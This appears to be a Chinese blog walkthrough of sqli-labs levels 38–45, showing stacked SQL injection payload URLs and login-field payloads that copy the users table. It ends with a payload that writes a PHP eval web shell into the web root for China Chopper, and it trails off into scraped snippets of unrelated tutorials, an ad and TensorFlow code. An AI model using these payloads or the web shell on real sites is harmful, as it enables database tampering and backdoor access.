sqli lab 38-45

less38
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。

而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。

这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们可以在mysql命令行中进行测试:

Select * from users; create table test1 like users;
Show tables;
Select * from users; drop table test1;
Select * from users; select 1,2,3;

http://192.168.50.100/sqli-labs/Less-38/?id=1‘; create table ghz like users ;--+

http://192.168.50.100/sqli-labs/Less-38/?id=1‘; create table ghz like users ;--+

但其实这样只是复制了表的结构 美哟做到复制表的数据

参考链接 :https://blog.csdn.net/qi95719/article/details/60883148

http://192.168.50.100/sqli-labs/Less-38/?id=1‘;create table ghz38 like users;insert into ghz38 select *from users; --+

less-39

id=1

一样的道理,只是闭合sql语句不同:

http://192.168.50.100/sqli-labs/Less-39/?id=1;create table ghz39 like users;insert into ghz39 select *from users; --+

less-40

id=(‘1’),并且错误不回显

一样的道理,只是闭合sql语句不同:

http://192.168.50.100/sqli-labs/Less-40/?id=1‘);create table ghz40 like users;insert into  ghz40 select *from users; --+

less41

?id=1’  并且没有回显信息 也没有错误提示  这就是和39关的区别

id=1,并且错误不回显

一样的道理,只是闭合sql语句不同:

http://192.168.50.100/sqli-labs/Less-41/?id=1;create table ghz41 like users;insert into ghz41 select *from users; --+

less42

42

a‘;create table ghz42 like users;insert into ghz42 select *from users; #

less-43

与42关基本一样。区别在:id=(’1‘)

password构造语句:a‘);create table ghz43 like users;insert into ghz43 select *from users; #

less-44

与42关基本一样。区别在:没有回显信息    id=’1‘

password构造语句:a‘;create table ghz44 like users;insert into ghz44 select *from users; #

less-45

与42关基本一样。区别在:没有回显信息  id=(’1‘)

password构造语句:a‘);create table ghz45 like users;insert into ghz45 select *from users; #

另一种方式  使用中国菜刀链接

a’;select  ‘<?php @eval($_POST[“ghz”]);?>‘  into outfile ‘C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-42\\ghz42.php’ #

原文地址:https://www.cnblogs.com/xingyuner/p/12254170.html

时间: 2024-10-15 13:30:53

sqli lab 38-45的相关文章

SQL报错注入结合sqli lab和百度杯CTF VId

0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型注入的利用大概有以下3种方式: 1:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1

SQLi Lab的视频教程和文字教程

SQLi Lab 系列的文字和视频(需要翻墙),讲解的很好 SQLi Lab Series - Introduction SQLi Lab Series - Error Based SQLi Lab Series - Double Query / SubQuery SQLi Lab Series - Blind Injection - Boolean Based SQLi Lab Series - Blind Injection - Time Based SQLi Lab Series - Us

sqli lab less7

Less7 1.文件读写权限问题 show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”. 重启服务再show  就显示了 2一句话木马:php版本:<?php @eval($_POST[“crow”]);?> 其中crow是密码 一句话木马大多配合中国菜刀使用,菜刀的使用

sqli lab 23 、24

less23  法1 输入用户名和密码  admin ~~admin http://192.168.50.100/sqli/Less-23/?id=1'     ‘报错  说明有注入漏洞 23关和第1关很像,但是观察代码发现他对--+和#都进行了转义,不能再用这种方式注释,将--+  和 #都进行了替换 替换成了空格 可以用新的注释符:   “   ;%00   ”  或者and和or语句进行闭合 http://192.168.50.100/sqli/Less-23/?id=1' ;%00 判断

sqli lab 25 25a

Waf绕过可大致分为三类:  1.白盒绕过                                             2. 黑盒绕过                                             3. fuzz测试 less  25  法一 union 双写绕过过滤 http://192.168.50.100/sqli/Less-25/?id=1 http://192.168.50.100/sqli/Less-25/?id=1' http://192.16

sqli lab 11-12

查库: select schema_name from information_schema.schemata;查表: select table_name from information_schema.tables where table_schema='security';查列: select column_name from information_schema.columns where table_name='users';查字段: select username,password f

搭建网站怎么选服务器?45.126.123.1

搭建网站怎么选服务器?相信现在涉及网络的人,应该都知道.服务器是互联网的基础,服务器的质量与机房的网络,是一家互联网企业飞速发展的重要保障.企业一般通过租用服务器的方式来使用服务器,而不少企业在选择服务器的时候因为某些疏忽而导致网站服务器不稳定的情况出现.那么企业需要先掌握哪些要点? 1.服务器运行什么应用 这是首先需要考虑的问题,在这里你要根据服务器的应用类型,也就是用途,来决定服务器的性能.容量和可靠性需求.我们按照前端服务器+应用程序服务器+数据服务器的常见基础架构来衡量. 2.服务器需要

思科资料的所有资料目录

1.20140819单臂路由.pdf 2.CCNA 实验手册之Packet_Tracer使用教程.pdf 3.CCNA_Lab_Workbook_Sample_Labs(CDP,静态路由,端口安全).pdf 4.CCNA.CCNP.CCIE案例实战手册(交换部分).pdf 5.CCNA.CCNP.CCIE案例实战手册(路由部分).pdf 6.CCNA帧中继解法.pdf 7.CCNA级别的实际企业环境 综合实验.ppt 10.hsrp.pkt 11.CCNA_2010年5月(23个实验)最新实验总

90、Tensorflow实现分布式学习,多台电脑,多个GPU 异步试学习

''' Created on 2017年5月28日 @author: weizhen ''' import time import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data import mnist_inference BATCH_SIZE = 100 LEARNING_RATE_BASE = 0.01 TRAINING_STEPS = 1000 LEARNING_RATE_DECAY